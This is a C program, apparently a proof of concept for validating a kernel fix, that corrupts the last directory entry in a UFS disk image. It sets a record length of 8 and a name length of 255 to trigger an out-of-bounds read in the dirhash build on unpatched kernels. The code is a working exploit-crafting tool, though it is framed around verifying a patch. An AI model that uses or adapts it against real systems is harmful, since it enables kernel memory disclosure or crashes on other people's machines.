DF-0844 / dirhash_patch.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 | /* * DF-0844 โ Image patcher v4: precisely patches testdir's last entry * to create a malformed entry (d_reclen < DIRSIZ) followed by a valid * free entry, so the dirhash build loop ends cleanly (build SUCCEEDS). * * This produces a clean before/after signal for fix validation: * UNPATCHED: dirhash build accepts malformed entry โ hash called (OOB read) * โ build SUCCEEDS โ vfs.ufs.dirhash_mem increases * PATCHED: dirhash build rejects entry (d_reclen < DIRSIZ) โ build FAILS * โ vfs.ufs.dirhash_mem unchanged * * The testdir layout (25 files, ~195-char names, 6656 bytes, 13 chunks): * Chunk 12 (dir offset 6144-6655): file25 entry, d_reclen=512, d_namlen=195 * * Patch: * 1. file25 entry at dir offset 6144: * d_reclen: 512 โ 8 (d_reclen < DIRSIZ(255)=264 โ MALFORMED) * d_namlen: 195 โ 255 (forces 255-byte d_name read past entry boundary) * 2. Insert free entry at dir offset 6152 (= 6144 + 8): * d_ino=0, d_reclen=504 (= 512 - 8), d_type=0, d_namlen=0 * (valid free entry covering rest of chunk; loop advances to i_size) * * Usage: ./dirhash_patch <image_file> <file25_block_offset_in_image> * where file25_block_offset = (frag_number * 512) for the testdir's 2nd block */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> struct direct { uint32_t d_ino; uint16_t d_reclen; uint8_t d_type; uint8_t d_namlen; char d_name[256]; }; #define DIRECT_HDRSZ 8 #define DIRBLKSIZ 512 #define MAXNAMLEN 255 #define DIRALIGN 4 #define DIRECTSIZ(namlen) ((DIRECT_HDRSZ + ((namlen)+1) + 3) & ~3) int main(int argc, char **argv) { if (argc != 3) { fprintf(stderr, "Usage: %s <image> <testdir_block2_image_offset_decimal>\n", argv[0]); return 2; } const char *imgpath = argv[1]; long block2_off = atol(argv[2]); if (block2_off <= 0) { fprintf(stderr, "bad offset\n"); return 2; } int fd = open(imgpath, O_RDWR); if (fd < 0) { perror("open"); return 2; } off_t imgsz = lseek(fd, 0, SEEK_END); if ((off_t)block2_off + 4096 > imgsz) { fprintf(stderr, "offset+4096 > image size\n"); return 2; } /* file25 is the LAST entry, at dir offset 6144 within the directory. * Block 2 starts at dir offset 4096. So file25 is at block2_off + 2048. * The entry is the only entry in the last 512-byte chunk (chunk 12). */ off_t file25_off = block2_off + 2048; /* Read current entry */ struct direct ep; lseek(fd, file25_off, SEEK_SET); if (read(fd, &ep, DIRECT_HDRSZ) != DIRECT_HDRSZ) { perror("read entry"); return 2; } printf("file25 entry at image offset 0x%llx:\n", (long long)file25_off); printf(" BEFORE: ino=%u reclen=%u type=%u namlen=%u\n", ep.d_ino, ep.d_reclen, ep.d_type, ep.d_namlen); if (ep.d_reclen != 512 || ep.d_namlen < 100) { fprintf(stderr, "WARNING: entry doesn't match expected layout!\n"); fprintf(stderr, "Expected reclen=512 namlen~195, got reclen=%u namlen=%u\n", ep.d_reclen, ep.d_namlen); } /* PATCH 1: Corrupt file25 entry */ ep.d_reclen = 8; /* << DIRSIZ(255)=264 โ MALFORMED */ ep.d_namlen = MAXNAMLEN; /* forces 255-byte OOB read from d_name */ lseek(fd, file25_off, SEEK_SET); if (write(fd, &ep, DIRECT_HDRSZ) != DIRECT_HDRSZ) { perror("write entry"); return 2; } printf(" AFTER: ino=%u reclen=%u type=%u namlen=%u\n", ep.d_ino, ep.d_reclen, ep.d_type, ep.d_namlen); printf(" DIRSIZ(255)=%u > d_reclen(8) โ MALFORMED\n", (uint32_t)DIRECTSIZ(MAXNAMLEN)); /* PATCH 2: Write free entry at dir offset 6152 (= file25_off + 8) */ off_t free_off = file25_off + 8; struct direct free_ep; memset(&free_ep, 0, sizeof(free_ep)); free_ep.d_ino = 0; /* free entry */ free_ep.d_reclen = 504; /* 512 - 8 = rest of chunk */ free_ep.d_type = 0; free_ep.d_namlen = 0; lseek(fd, free_off, SEEK_SET); if (write(fd, &free_ep, DIRECT_HDRSZ) != DIRECT_HDRSZ) { perror("write free"); return 2; } printf("\nFree entry at image offset 0x%llx:\n", (long long)free_off); printf(" ino=%u reclen=%u type=%u namlen=%u (valid free entry)\n", free_ep.d_ino, free_ep.d_reclen, free_ep.d_type, free_ep.d_namlen); /* Zero the rest of the free entry's data area (to clean up old name bytes) */ char zeros[504 - DIRECT_HDRSZ]; memset(zeros, 0, sizeof(zeros)); lseek(fd, free_off + DIRECT_HDRSZ, SEEK_SET); if (write(fd, zeros, sizeof(zeros)) != (ssize_t)sizeof(zeros)) { perror("write zeros"); return 2; } printf("\nLayout after patch (last chunk at dir offset 6144):\n"); printf(" [6144] malformed entry: ino=%u reclen=%u namlen=%u (MALFORMED)\n", ep.d_ino, ep.d_reclen, ep.d_namlen); printf(" [6152] free entry: ino=0 reclen=%u namlen=0\n", free_ep.d_reclen); printf(" [6656] = i_size โ loop ends, build SUCCEEDS on unpatched kernel\n"); /* Verify the OOB read extent */ printf("\nOOB analysis:\n"); printf(" ufsdirhash_hash reads d_name (255 bytes) from offset 6144+8=6152\n"); printf(" Read range: dir[6152..6407] = 255 bytes\n"); printf(" Entry boundary: dir[6144..6152] = 8 bytes (d_reclen)\n"); printf(" OOB past d_reclen: 6407-6152 = 255 bytes into adjacent data\n"); printf(" (within buffer since buffer covers dir[4096..8191])\n"); close(fd); printf("\nPatch complete.\n"); return 0; } |